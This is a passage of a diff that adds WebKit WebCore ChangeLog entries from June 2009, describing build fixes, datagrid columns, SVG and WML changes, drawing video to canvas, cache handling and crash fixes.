+        Gtk build fix. Add files that were added in r45093 and r45096
+
+        * GNUmakefile.am:
+
+2009-06-24  Brady Eidson  <beidson@apple.com>
+
+        Fix 64-bit SnowLeopard build.
+
+        * html/DataGridColumnList.cpp:
+        (WebCore::DataGridColumnList::remove):
+        (WebCore::DataGridColumnList::move):
+
+2009-06-24  Rob Buis  <rwlbuis@gmail.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26392
+        Bug 26392: In html, modification of xlink:href of an newly inserted svg image does not work.
+        https://bugs.webkit.org/show_bug.cgi?id=26328
+        Bug 26328: changing href attribute of svg images does not work when changing display attribute as well
+
+        React to href updates even when there is no renderer, i.e. display=none.
+
+        Tests: svg/custom/js-update-image-and-display.svg
+               svg/custom/js-update-image-and-display2.svg
+               svg/custom/js-update-image-and-display3.svg
+
+        * svg/SVGImageElement.cpp:
+        (WebCore::SVGImageElement::svgAttributeChanged):
+
+2009-06-24  David Hyatt  <hyatt@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26687
+
+        Add basic back-end column support to datagrid.
+
+        Added fast/dom/HTMLDataGridElement/ column tests.
+
+        * DerivedSources.cpp:
+        * DerivedSources.make:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * html/DataGridColumn.cpp: Added.
+        (WebCore::DataGridColumn::setPrimary):
+        * html/DataGridColumn.h: Added.
+        (WebCore::DataGridColumn::create):
+        (WebCore::DataGridColumn::id):
+        (WebCore::DataGridColumn::setId):
+        (WebCore::DataGridColumn::label):
+        (WebCore::DataGridColumn::setLabel):
+        (WebCore::DataGridColumn::type):
+        (WebCore::DataGridColumn::setType):
+        (WebCore::DataGridColumn::sortable):
+        (WebCore::DataGridColumn::setSortable):
+        (WebCore::DataGridColumn::sortDirection):
+        (WebCore::DataGridColumn::setSortDirection):
+        (WebCore::DataGridColumn::primary):
+        (WebCore::DataGridColumn::detachFromColumnList):
+        (WebCore::DataGridColumn::DataGridColumn):
+        * html/DataGridColumn.idl: Added.
+        * html/DataGridColumnList.cpp: Added.
+        (WebCore::DataGridColumnList::~DataGridColumnList):
+        (WebCore::DataGridColumnList::itemWithName):
+        (WebCore::DataGridColumnList::add):
+        (WebCore::DataGridColumnList::remove):
+        (WebCore::DataGridColumnList::move):
+        (WebCore::DataGridColumnList::clear):
+        (WebCore::DataGridColumnList::primaryColumnChanged):
+        * html/DataGridColumnList.h: Added.
+        (WebCore::DataGridColumnList::create):
+        (WebCore::DataGridColumnList::length):
+        (WebCore::DataGridColumnList::item):
+        (WebCore::DataGridColumnList::primaryColumn):
+        (WebCore::DataGridColumnList::sortColumn):
+        * html/DataGridColumnList.idl: Added.
+        * html/HTMLDataGridColElement.cpp:
+        (WebCore::HTMLDataGridColElement::sortable):
+        (WebCore::HTMLDataGridColElement::setSortable):
+        (WebCore::HTMLDataGridColElement::sortDirection):
+        (WebCore::HTMLDataGridColElement::setSortDirection):
+        * html/HTMLDataGridColElement.h:
+        * html/HTMLDataGridColElement.idl:
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
+        * html/HTMLDataGridElement.h:
+        (WebCore::HTMLDataGridElement::columns):
+        * html/HTMLDataGridElement.idl:
+        * rendering/RenderDataGrid.cpp:
+        (WebCore::RenderDataGrid::paintObject):
+        (WebCore::RenderDataGrid::paintColumnHeaders):
+        (WebCore::RenderDataGrid::rebuildColumns):
+        * rendering/RenderDataGrid.h:
+        (WebCore::RenderDataGrid::gridElement):
+
+2009-06-24  Jessie Berlin  <jberlin@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Partially fixes: https://bugs.webkit.org/show_bug.cgi?id=24735
+        (<rdar://problem/5015942>)
+        Where on windows it was not possible to set an element as the drag
+        image using setDragImage on the dataTransfer object.
+        
+        Does not "fix" the case of dragging a link where the default link image
+        is still used, even when the -webkit-user-drag is set to "element". This
+        is the same behavior as is found on OS X.
+        
+        Added a manual test because it is not possible to check that what is
+        contained in the image snapshot is indeed the requested element.
+
+        * dom/Clipboard.h:
+        (WebCore::Clipboard::dragImageElement):
+        Made getting the raw pointer from the RefPtr a const operation.
+        * manual-tests/drag-with-div-or-image-as-data-image.html: Added.
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::createDragImage):
+        Get an image of the rendered element and its subtree.
+
+2009-06-24  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by David Levin.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26683
+        Fix Chromium build bustage: Add custom binding for HTMLDataGridElement.dataSource
+
+        This change just adds a stub implementation for now to help fix the build.
+
+        * bindings/v8/custom/V8CustomBinding.h:
+        * bindings/v8/custom/V8HTMLDataGridElementCustom.cpp: Added.
+
+2009-06-24  David Kilzer  <ddkilzer@apple.com>
+
+        Build fixes for ENABLE(PLUGIN_PROXY_FOR_VIDEO)
+
+        Reviewed by Adam Roben.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::deliverNotification): Removed
+        ExceptionCode parameter from togglePlayState().
+        (WebCore::HTMLMediaElement::initialURL): Don't convert a KURL
+        object to a String when assigning to a KURL variable.
+
+2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Adam Treat.
+
+        Save memory by not storing attribute values in member variables, if not absolutely needed.
+        Also fixes bugs where we're substituting variables too early (noticeable with the upcoming <select> element).
+
+        * wml/WMLDoElement.cpp:
+        (WebCore::WMLDoElement::parseMappedAttribute):
+        (WebCore::WMLDoElement::label):
+        * wml/WMLDoElement.h:
+        * wml/WMLFieldSetElement.cpp:
+        (WebCore::WMLFieldSetElement::insertedIntoDocument):
+        * wml/WMLFieldSetElement.h:
+        * wml/WMLOptGroupElement.cpp:
+        (WebCore::WMLOptGroupElement::title):
+        (WebCore::WMLOptGroupElement::parseMappedAttribute):
+        (WebCore::WMLOptGroupElement::groupLabelText):
+        * wml/WMLOptGroupElement.h:
+        * wml/WMLPostfieldElement.cpp:
+        (WebCore::WMLPostfieldElement::name):
+        (WebCore::WMLPostfieldElement::value):
+        (WebCore::WMLPostfieldElement::encodeData):
+        * wml/WMLPostfieldElement.h:
+        * wml/WMLSetvarElement.cpp:
+        (WebCore::WMLSetvarElement::parseMappedAttribute):
+        (WebCore::WMLSetvarElement::name):
+        (WebCore::WMLSetvarElement::value):
+        * wml/WMLSetvarElement.h:
+        * wml/WMLTimerElement.cpp:
+        (WebCore::WMLTimerElement::parseMappedAttribute):
+        (WebCore::WMLTimerElement::insertedIntoDocument):
+        (WebCore::WMLTimerElement::timerFired):
+        (WebCore::WMLTimerElement::start):
+        (WebCore::WMLTimerElement::value):
+        * wml/WMLTimerElement.h:
+
+2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Reviewed by Adam Roben.
+
+        Forgot to initialize m_task member variable. Results in crashes sometimes.
+
+        * wml/WMLAnchorElement.cpp:
+        (WebCore::WMLAnchorElement::WMLAnchorElement):
+
+2009-06-24  Nikolas Zimmermann  <nikolas.zimmermann@torchmobile.com>
+
+        Not reviewed. Forgot to include within last patch.
+
+        * manual-tests/wml/card-title-attr.wml: Added.
+
+2009-06-24  Wajahat Siddiqui <wajahatmeister@gmail.com>
+ 
+        Reviewed by Nikolas Zimmermann.
+
+        Fixes: https://bugs.webkit.org/show_bug.cgi?id=26474
+        Adding WML <card> title attribute handling.
+
+        * wml/WMLElement.h: marking parseValueSubstitutingVariableReferences and parseValueForbiddingVariableReferences as const
+        * wml/WMLElement.cpp:
+        * wml/WMLCardElement.h: 
+        (WebCore::WMLCardElement::title):
+        * wml/WMLCardElement.cpp:
+        * wml/manual-test/card-title-attr.wml: Manual test  
+ 
+2009-06-24  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Fix the build without ENABLE_VIDEO.
+
+        * html/CanvasRenderingContext2D.cpp: Add #if ENABLE guards.
+        * html/CanvasRenderingContext2D.h: Ditto.
+
+2009-06-24  Siddhartha Chattopadhyay  <sidchat@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26200 which I introduced earlier. I had
+        the smartReplace set TRUE initially, which was wrong since the purpose of this call is
+        to just replace the selection, and place the caret at the end of the selection it replaced.
+
+        * editing/Editor.cpp:
+        (WebCore::Editor::markMisspellingsAfterTypingToPosition):
+        * manual-tests/textarea-caret-position-after-auto-spell-correct.html: Added.
+
+2009-06-24  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        Don't use an unsigned int for intervalInMS because we sometimes initialize
+        it with a negative value.
+
+        * platform/wx/SharedTimerWx.cpp:
+        (WebCore::setSharedTimerFireTime):
+
+2009-06-24  Eric Seidel  <eric@webkit.org>
+
+        No review, build fix only.
+
+        The previous checkin had an improper merge.  This fixes the build.
+
+        * page/DragController.cpp:
+        (WebCore::DragController::tryDocumentDrag):
+
+2009-06-05  Eric Seidel  <eric@webkit.org>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25922
+        JS setting dropEffect = "none" causes tryDHTMLDrag
+        to return DragOperationNone.  Which is also the value
+        tryDHTMLDrag previously used to indicate JS did not
+        want to handle the drag.
+
+        Make it possible for the DragController::try* methods
+        to return a bool to indicate if javascript accepted
+        or rejected the drag event, separate from the DragOperation.
+
+        Tests:
+        - fast/events/drag-to-navigate.html
+        - fast/events/prevent-drag-to-navigate.html
+
+        * page/DragController.cpp:
+        (WebCore::DragController::dragEnteredOrUpdated):
+        (WebCore::DragController::tryDocumentDrag):
+        (WebCore::defaultOperationForDrag):
+        (WebCore::DragController::tryDHTMLDrag):
+        * page/DragController.h:
+
+2009-06-23  Oliver Hunt  <oliver@apple.com> and Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Sam Weinig and Dave Hyatt.
+
+        <rdar://problem/6164797> Add Canvas API to allow drawing of <video> frames
+        <https://bugs.webkit.org/show_bug.cgi?id=25920>
+
+        Add support for drawing the contents of the video element to the canvas
+        in accordance with the current HTML5 draft.
+
+        Test: media/video-canvas.html
+
+        * bindings/js/JSCanvasRenderingContext2DCustom.cpp:
+        (WebCore::JSCanvasRenderingContext2D::drawImage):
+          Standard custom bindings stuff we need to do for all canvas methods.
+        * html/CanvasRenderingContext2D.cpp:
+        (WebCore::size): Helper function for finding the size of a video element
+        (WebCore::CanvasRenderingContext2D::checkOrigin): moved up in the file.
+        (WebCore::CanvasRenderingContext2D::drawImage): The various overloads of HTML5's drawImage(<video>)
+        * html/CanvasRenderingContext2D.h:
+        * html/HTMLMediaElement.h:
+        (WebCore::HTMLMediaElement::hasSingleSecurityOrigin):
+          hasSingleSecurityOrigin is needed for security, currently all implementations are trivial
+          as we force QT to maintain a single origin.
+        * html/HTMLVideoElement.cpp:
+        (WebCore::HTMLVideoElement::paint): 
+            Paint routine on video so we don't have to look at MediaPlayer directly
+        * html/HTMLVideoElement.h:
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::hasSingleSecurityOrigin):
+        (WebCore::MediaPlayer::hasSingleSecurityOrigin):
+            Default implementations of hasSingleSecurityOrigin
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::setUpVideoRendering):
+            A video may need a player now even if it is not visible.
+        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
+            Always return true due to restrictions we've placed on QT.
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::paint):
+            Jump through some hoops to allow windows QT to draw to an intermediate buffer.
+            In the long term we'd like to cache the HDC, but this will do for now.
+        (WebCore::MediaPlayerPrivate::hasSingleSecurityOrigin):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+            As for Mac we force QT to only allow same origin loads.
+
+2009-06-23  Adam Langley  <agl@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Chromium: Fix crash with inherited font-size in <option>
+
+        https://bugs.webkit.org/show_bug.cgi?id=26656
+        http://code.google.com/p/chromium/issues/detail?id=14853
+
+        In r42597 (https://bugs.webkit.org/show_bug.cgi?id=25244), I changed
+        the <select> handing for Chromium to fix a rendering bug. However,
+        although the font-size is correctly ignored, getRowHeight wasn't
+        updated and so was calculating the height of the rows in an
+        inconsistent manner. This can lead to a crash.
+
+        * manual-tests/optgroup-empty-and-nested.html: adding test case for crash
+        * platform/chromium/PopupMenuChromium.cpp:
+        (WebCore::PopupListBox::getRowHeight):
+
+2009-06-23  Brady Eidson  <beidson@apple.com>
+
+        Patch by Antti Koivisto.
+        Reviewed by Brady Eidson.
+
+        <rdar://problem/6988010> Failed resources not reloaded when built against Tiger SDK
+
+        A latent bug that cache revalidation uncovered.  When a CachedResource failed to load,
+        it should always be revalidated upon reload.
+
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::canUseCacheValidator):
+        (WebCore::CachedResource::mustRevalidate):
+
+2009-06-23  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        - fix <rdar://problem/6634228> Crash in [NSScroller mouseDown:] beneath
+          EventHandler::passMouseDownEventToWidget()
+
+        * page/mac/EventHandlerMac.mm:
+        (WebCore::EventHandler::passMouseDownEventToWidget): Surround the
+        -mouseDown: call with calls to Widget::beforeMouseDown() and
+        Widget::afterMouseDown(), which prevent the widget's view hierarchy from
+        being removed from its parent view while the scroller is tracking the
+        mouse.
+
+2009-06-23  Sam Weinig  <sam@webkit.org>
+
+        Reviewed by Dave Hyatt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26516
+        Add initial implementation of DataGridDataSource
+
+        - Initial implementation only supports the initialize callback function.
+
+        Test: fast/dom/HTMLDataGridElement/DataGridDataSource-basic.html
+
+        * WebCore.xcodeproj/project.pbxproj:
+        * GNUmakefile.am:
+        * WebCore.pro:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        * bindings/js/JSDataGridDataSource.cpp: Added.
+        (WebCore::JSDataGridDataSource::JSDataGridDataSource):
+        (WebCore::JSDataGridDataSource::~JSDataGridDataSource):
+        (WebCore::JSDataGridDataSource::initialize):
+        * bindings/js/JSDataGridDataSource.h: Added.
+        (WebCore::JSDataGridDataSource::create):
+        (WebCore::JSDataGridDataSource::isJSDataGridDataSource):
+        (WebCore::JSDataGridDataSource::jsDataSource):
+        (WebCore::asJSDataGridDataSource):
+        * bindings/js/JSHTMLDataGridElementCustom.cpp: Added.
+        (WebCore::JSHTMLDataGridElement::listener):
+        (WebCore::JSHTMLDataGridElement::setListener):
+        * html/DataGridDataSource.h: Added.
+        (WebCore::DataGridDataSource::~DataGridDataSource):
+        (WebCore::DataGridDataSource::isJSDataGridDataSource):
+        * html/HTMLDataGridElement.cpp:
+        (WebCore::HTMLDataGridElement::HTMLDataGridElement):
+        (WebCore::HTMLDataGridElement::setDataSource):
+        (WebCore::HTMLDataGridElement::initializationTimerFired):
+        * html/HTMLDataGridElement.h:
+        (WebCore::HTMLDataGridElement::dataSource):
+        * html/HTMLDataGridElement.idl:
+
+2009-06-23  Ryosuke Niwa  <rniwa@google.com>
+
+        Reviewed by Justin Garcia.
+
+        Undo the changeset 21212 to fix the regression bug 14062.
+        The changeset 21212 attempted to fix rdar://problem/5002441.
+        The changeset 21212 modified InsertTextCommand::input so as to convert
+        all spaces in text to non-breaking spaces for rdar://problem/5002441.
+        However, the bug was originally caused by rebalanceWhitespaceAt
+        and this workaround introduced a regression bug 14062.
+        Because rebalanceWhitespaceAt appears to behave correctly now,
+        the workaround introduced in 21212 is no longer needed.
+
+        Test: editing/inserting/space-after-removeformat.html
+
+        * editing/InsertTextCommand.cpp:
+        (WebCore::InsertTextCommand::input):
+
+2009-06-23  Beth Dakin  <bdakin@apple.com>
+
+        Reviewed by Dave Hyatt.
+
+        Fix for https://bugs.webkit.org/show_bug.cgi?id=26523 <col> 
+        elements width can't be changed with javascript
+
+        This patch both fixes setting the width attribute directly in 
+        JavaScript, and setting the width on the style attribute. 
+
+        * html/HTMLTableColElement.cpp:
+        (WebCore::HTMLTableColElement::parseMappedAttribute): If we have a 
+        new width, call setNeedsLayoutAndPrefWidthsRecalc()
+
+        Call calcPrefWidths() on the table cols.
+        * rendering/AutoTableLayout.cpp:
+        (WebCore::AutoTableLayout::recalcColumn):
+        * rendering/FixedTableLayout.cpp:
+        (WebCore::FixedTableLayout::calcWidthArray):
+        
+        Call layoutIfNeeded on the table cols.
+        * rendering/RenderTable.cpp:
+        (WebCore::RenderTable::layout):
+
+        * rendering/RenderTableCol.cpp:
+        (WebCore::RenderTableCol::clippedOverflowRectForRepaint): Use new 
+        table() convenience function.
+        (WebCore::RenderTableCol::calcPrefWidths): Just call 
+        setPrefWidthsDirty(false) on ourself and our children.
+        (WebCore::RenderTableCol::table):
+        * rendering/RenderTableCol.h:
+
+2009-06-23  Ojan Vafai  <ojan@chromium.org>
+
+        Reviewed by Dan Bernstein.
+
+        Add logic to CSSStyleDeclaration::diff to deal with font-sizes that are 
+        keyword values. When diff is called on a CSSStyleDeclaration, we check
+        the keywordSize to see if font-size matches a keyword value.
+        
+        This ensures that when we diff a CSSMutableStyleDeclaration returned from
+        copyInheritableProperties on a CSSComputedStyleDeclaration that we 
+        correctly identify matching font-sizes.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26279
+
+        Test: editing/inserting/font-size-clears-from-typing-style.html
+
+        * css/CSSComputedStyleDeclaration.cpp:
+        (WebCore::CSSComputedStyleDeclaration::cssPropertyMatches):
+        * css/CSSComputedStyleDeclaration.h:
+        * css/CSSStyleDeclaration.cpp:
+        (WebCore::CSSStyleDeclaration::cssPropertyMatches):
+        (WebCore::CSSStyleDeclaration::diff):
+        * css/CSSStyleDeclaration.h:
+
+2009-06-23  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6994790> CrashTracer: [USER] 8 crashes in Mail trying to
+        add a blank line to pasted Facebook content (under
+        CompositeEditCommand::positionAvoidingSpecialElementBoundary)
+
+        - Just added null checks and I will create a new bug to prevent the
+        bad behavior.
+
+        * editing/CompositeEditCommand.cpp:
+        (WebCore::CompositeEditCommand::positionAvoidingSpecialElementBoundary):
+
+2009-06-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Build fix.
+
+        Wrap shouldDoSoftwarePaint() in #if USE(ACCELERATED_COMPOSITING) to avoid warning when 
+        ACCELERATED_COMPOSITING is not defined.
+
+        * rendering/RenderLayer.cpp:
+
+2009-06-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=24863
+        
+        Fix reflection painting on elements with compositing layers.
+
+        Test: compositing/reflections/reflection-on-composited.html
+
+        * rendering/RenderLayer.h:
+        Add a new PaintLayerPaintingReflection flag which is set while painting inside
+        reflections.
+        (WebCore::RenderLayer::setPaintingInsideReflection):
+        Add a setter so that RenderLayerBacking can call it.
+
+        * rendering/RenderLayer.cpp:
+        (WebCore::shouldDoSoftwarePaint):
+        Utility to clarify the logic of when a composited layer should do a software paint.
+        
+        (WebCore::RenderLayer::paintLayer):
+        Use shouldDoSoftwarePaint() to determine when to software-paint a reflected layer.
+        Remove transform-related tests from the reflection-painting if test because they appear
+        to be unnecessary.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        Add the code to paint reflections to the composited layer painting method.
+        
+        * rendering/RenderReplica.cpp:
+        (WebCore::RenderReplica::paint):
+        Set the PaintLayerPaintingReflection flag.
+
+2009-06-23  Antti Koivisto  <antti@apple.com>
+
+        Reviewed by Darin Adler.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=26643
+        Memory cache should respect Cache-Control: no-store
+        
+        Make resources with Cache-Control: no-store uncacheable in the memory cache.
+        They get evicted immediately when all clients are gone and are always
+        reloaded from the server.
+
+        Conforms to RFC2616 14.9.2 and seems also match Firefox behavior.
+
+        * loader/CachedResource.cpp:
+        (WebCore::CachedResource::removeClient):
+        (WebCore::CachedResource::canUseCacheValidator):
+        (WebCore::CachedResource::mustRevalidate):
+        * platform/network/ResourceResponseBase.cpp:
+        (WebCore::ResourceResponseBase::ResourceResponseBase):
+        (WebCore::ResourceResponseBase::parseCacheControlDirectives):
+        (WebCore::ResourceResponseBase::cacheControlContainsNoStore):
+        * platform/network/ResourceResponseBase.h:
+
+2009-06-23  Brady Eidson  <beidson@apple.com>
+
+        Windows build fix.
+
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWin::play):
+        (QTMovieWin::pause):
+        (QTMovieWin::setRate):
+        (QTMovieWin::setCurrentTime):
+
+2009-06-23  Kevin McCullough  <kmccullough@apple.com>
+
+        Reviewed by Adele Peterson.
+
+        <rdar://problem/6902203> REGRESSION: 'Return' insertion point incorrect
+        after manually quoting blank line then hitting return
+
+        If the insertion point is both the begining and ending visible position
+        then we need to insert at the end instead of the begining, which is what
+        would normally happen if the insertion point was as the begining.
+
+        * editing/BreakBlockquoteCommand.cpp:
+        (WebCore::BreakBlockquoteCommand::doApply):
+
+2009-06-23  Brady Eidson  <beidson@apple.com>
+
+        Reviewed by Sam Weinig, and looked over by Eric Carlson.
+
+        <rdar://problem/6980466> Media elements should provide option for changing pitch correction
+
+        Introduce a new boolean property to HTMLMediaElement called webkitPreservesPitch for script to control this.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::HTMLMediaElement): Currently the platforms that have a flexible pitch preservation 
+          property (Quicktime on Mac and Win) have had it on by default, so continue that default for now.
+        (WebCore::HTMLMediaElement::loadResource):
+        (WebCore::HTMLMediaElement::webkitPreservesPitch):
+        (WebCore::HTMLMediaElement::setWebkitPreservesPitch):
+        * html/HTMLMediaElement.h:
+        * html/HTMLMediaElement.idl:
+
+        * platform/graphics/MediaPlayer.cpp:
+        (WebCore::NullMediaPlayerPrivate::setPreservesPitch):
+        (WebCore::MediaPlayer::MediaPlayer):
+        (WebCore::MediaPlayer::preservesPitch):
+        (WebCore::MediaPlayer::setPreservesPitch):
+        * platform/graphics/MediaPlayer.h:
+        * platform/graphics/MediaPlayerPrivate.h:
+        (WebCore::MediaPlayerPrivateInterface::setPreservesPitch):
+
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.h:
+        * platform/graphics/mac/MediaPlayerPrivateQTKit.mm:
+        (WebCore::MediaPlayerPrivate::MediaPlayerPrivate):
+        (WebCore::MediaPlayerPrivate::createQTMovie): Rework to allow recreation of the movie with almost the
+          exact same attributes as before, with pitch preservation being the difference.
+        (WebCore::MediaPlayerPrivate::setPreservesPitch): Recreate the QTMovie if the flag actually changes.
+        (WebCore::MediaPlayerPrivate::updateStates): Restore current time and rate if this is a recreated movie.
+        (WebCore::MediaPlayerPrivate::timeChanged): Clear the time-to-be-restored, as this callback means it
+          has been effectively overwritten.
+
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.cpp:
+        (WebCore::MediaPlayerPrivate::load):
+        (WebCore::MediaPlayerPrivate::setPreservesPitch):
+        * platform/graphics/win/MediaPlayerPrivateQuickTimeWin.h:
+        * platform/graphics/win/QTMovieWin.cpp:
+        (QTMovieWinPrivate::QTMovieWinPrivate):
+        (QTMovieWinPrivate::~QTMovieWinPrivate):
+        (QTMovieWinPrivate::task): Restore current time and rate if this is a re-created movie.
+        (QTMovieWin::play): Clear the time-to-be-restored, as this effectively overwrites it.
+        (QTMovieWin::pause): Ditto.
+        (QTMovieWin::setRate): Ditto.
+        (QTMovieWin::setCurrentTime): Ditto.
+        (QTMovieWin::setPreservesPitch): Recreate the Movie if the flag actually changes.
+        (QTMovieWin::load): Rework to allow recreation of the Movie with similar state as the movie before it, 
+          but changing the pitch preservation flag.
+        * platform/graphics/win/QTMovieWin.h:
+
+2009-06-23  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Simon Fraser.
+
+        <rdar://problem/6998286> Crash after leaving page with <video>
+        
+        Don't try to post events after going into the page cache.
+
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::documentWillBecomeInactive): Cancel pending events and stop
+        event timers so we won't try to post events after going into the cache.
+
+2009-06-23  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Brady Eidson.
+
+        Simplify the interaction between LocalStorageArea/SessionStorageArea
+        and StorageArea by creating a "blockUntilImportComplete()" function
+        rather than bouncing back and forth between the child and parent
+        classes in a somewhat unintuitive manner.
+
+        This patch also paves the way for LocalStorageArea and
+        SessionStorageArea being merged into one.  It's part of several in a
+        set which are separating syncing (to disk) code from the rest of the
+        implementation so that local storage and session storage's code can be
+        unified.
+
+        https://bugs.webkit.org/show_bug.cgi?id=25376
+
+        * storage/LocalStorageArea.cpp:
+        (WebCore::LocalStorageArea::blockUntilImportComplete):
+        * storage/LocalStorageArea.h:
+        * storage/StorageArea.cpp:
+        (WebCore::StorageArea::length):
+        (WebCore::StorageArea::key):
+        (WebCore::StorageArea::getItem):
+        (WebCore::StorageArea::setItem):
+        (WebCore::StorageArea::removeItem):
+        (WebCore::StorageArea::clear):
+        (WebCore::StorageArea::contains):
+        * storage/StorageArea.h:
+        (WebCore::StorageArea::blockUntilImportComplete):
+
+2009-06-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Dave Hyatt
+
+        First part of https://bugs.webkit.org/show_bug.cgi?id=26652
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paint):
+        (WebCore::RenderLayer::paintLayer):
+        * rendering/RenderLayer.h:
+        (WebCore::RenderLayer::):
+        * rendering/RenderReplica.cpp:
+        (WebCore::RenderReplica::paint):
+        Replace the 3 boolean params to RenderLayer::paintLayer() with a bit mask for readability.
+        
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::paintIntoLayer):
+        (WebCore::RenderLayerBacking::paintContents):
+        * rendering/RenderLayerBacking.h:
+        Remove the unused 'haveTransparency' param to paintIntoLayer().
+
+2009-06-23  Simon Fraser  <simon.fraser@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6997929> Assertion at WebCore::RenderLayer::updateClipRects with hardware acceleration
+
+        The updatingControlTints() painting pass goes through compositing layer boundaries,
+        so we need to ensure we don't cache clip rects computed with the wrong root by
+        setting temporaryClipRects to true.
+        
+        * rendering/RenderLayer.cpp:
+        (WebCore::RenderLayer::paintLayer):
+        
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::RenderLayerBacking::contentOffsetInCompostingLayer):
+        Remove a printf that I left in by mistake.
+
+2009-06-23  Anders Carlsson  <andersca@apple.com>
+
+        Reviewed by Darin Adler.
+
+        WebCore side of <rdar://problem/6946094>.
+        
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::ClipboardWin::setExternalDataObject):
+        * platform/win/ClipboardWin.h:
+
+2009-06-23  Darin Fisher  <darin@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=26650
+
+        Add setFormContentType and setFormData since it is awkward for Chromium
+        to use setFormInfoFromRequest to set the underlying members.  Also, add
+        a clearChildren method that Chromium needs.  These methods are used as
+        part of the Chromium code that serializes a HistoryItem for storing in
+        the browser's session history.
+
+        * history/HistoryItem.cpp:
+        * history/HistoryItem.h:
+
+2009-06-23  Eric Carlson  <eric.carlson@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6978938> Need HTML 5 event attributes for media elements
+
+        Test: media/event-attributes.html
+
+        * html/HTMLAttributeNames.in: Add media event attribute names.
+        * html/HTMLMediaElement.cpp:
+        (WebCore::HTMLMediaElement::parseMappedAttribute): Handle media event attributes.
+
+2009-06-23  Thiago Macieira  <thiago.macieira@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix Qt build with Phonon.
+
+        The #include <phonon> header no longer exists. And the <Phonon> or
+        <Phonon/Phonon> headers have never existed (neither for us nor for the
+        Phonon sources). You have to select each and every header that you do
+        want now.
+
+        * platform/graphics/qt/MediaPlayerPrivatePhonon.cpp:
+
+2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Remove duplicated code in Qt & GTK logging initialization
+
+        We now share the getChannelFromName() function in Logging.cpp
+
+        * platform/gtk/LoggingGtk.cpp:
+        * platform/qt/LoggingQt.cpp:
+
+2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        Rename the plugin logging channel to plural form 'Plugins'
+
+        This matches both the other logging channel names, as well as the
+        WebKit logging channel used by Safari/Mac for plugins.
+
+        * platform/Logging.cpp:
+        * platform/Logging.h:
+        * platform/gtk/LoggingGtk.cpp:
+        * platform/mac/LoggingMac.mm:
+        * platform/qt/LoggingQt.cpp:
+        * platform/win/LoggingWin.cpp:
+        * plugins/PluginDebug.h:
+        * plugins/gtk/PluginPackageGtk.cpp:
+        * plugins/mac/PluginPackageMac.cpp:
+        * plugins/mac/PluginViewMac.cpp:
+        * plugins/qt/PluginPackageQt.cpp:
+
+2009-06-23  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
